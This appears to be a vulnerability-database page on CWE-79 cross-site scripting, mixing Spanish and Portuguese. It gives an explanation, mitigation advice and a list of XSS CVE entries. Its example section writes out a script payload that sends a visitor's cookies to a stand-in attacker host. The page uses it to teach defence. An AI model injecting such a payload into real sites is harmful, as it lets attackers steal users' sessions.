Fallos del tipo CWE-79

29.368 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8215HIGHPayload Injection Attack via Management REST interfaceEPSS 0.5%CVE-2024-40742MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.5%CVE-2022-23499MEDIUMCross-Site Scripting Protection bypass in HTML SanitizerEPSS 0.5%CVE-2022-3096MEDIUMWP Total Hacks <= 4.7.2 - Subscriber+ Arbitrary Options Update to Stored XSSEPSS 0.5%CVE-2024-57386MEDIUMCross Site Scripting vulnerability in Wallos v.2.41.0 allows a remote attacker to execute arbitrary code via the profile picture function.EPSS 0.5%CVE-2023-6807MEDIUMGeneratePress Premium <= 2.3.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Custom MetaEPSS 0.5%CVE-2023-38364MEDIUMIBM CICS TX Advanced cross-site scriptingEPSS 0.5%CVE-2024-26473MEDIUMA reflected cross-site scripting (XSS) vulnerability in SocialMediaWebsite v1.0.1 allows attackers to inject malicious JavaScript into the wEPSS 0.5%CVE-2024-5260MEDIUMSina Extension for Elementor <= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via read_more_text ParameterEPSS 0.5%CVE-2022-22804—A CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability exists that could allow an authEPSS 0.5%CVE-2024-2868MEDIUMShopLentor – WooCommerce Builder for Elementor & Gutenberg +12 Modules – All in One Solution (formerly WooLentor) <= 2.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via WL Universal Product LayoutEPSS 0.5%CVE-2024-0722LOWcode-projects Social Networking Site Message Page message.php cross site scriptingEPSS 0.5%CVE-2021-36712MEDIUMCross Site Scripting (XSS) vulnerability in yzmcms 6.1 allows attackers to steal user cookies via image clipping function.EPSS 0.5%CVE-2021-34590MEDIUMBender Charge Controller: Cross-site ScriptingEPSS 0.5%CVE-2024-48656MEDIUMCross Site Scripting vulnerability in student management system in php with source code v.1.0.0 allows a remote attacker to execute arbitrarEPSS 0.5%CVE-2023-40674MEDIUMWordPress Simple URLs Plugin <= 118 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-5784HIGHStored XSS in DivvyDrive Information Technologies' DivvyDriveEPSS 0.4%CVE-2024-2515LOWMAGESH-K21 Online-College-Event-Hall-Reservation-System home.php cross site scriptingEPSS 0.4%CVE-2024-42771MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in " /admin/edit_room_controller.php" of the Kashipara Hotel Management System vEPSS 0.4%CVE-2023-49977MEDIUMA cross-site scripting (XSS) vulnerability in Customer Support System v1 allows attackers to execute arbitrary web scripts or HTML via a craEPSS 0.4%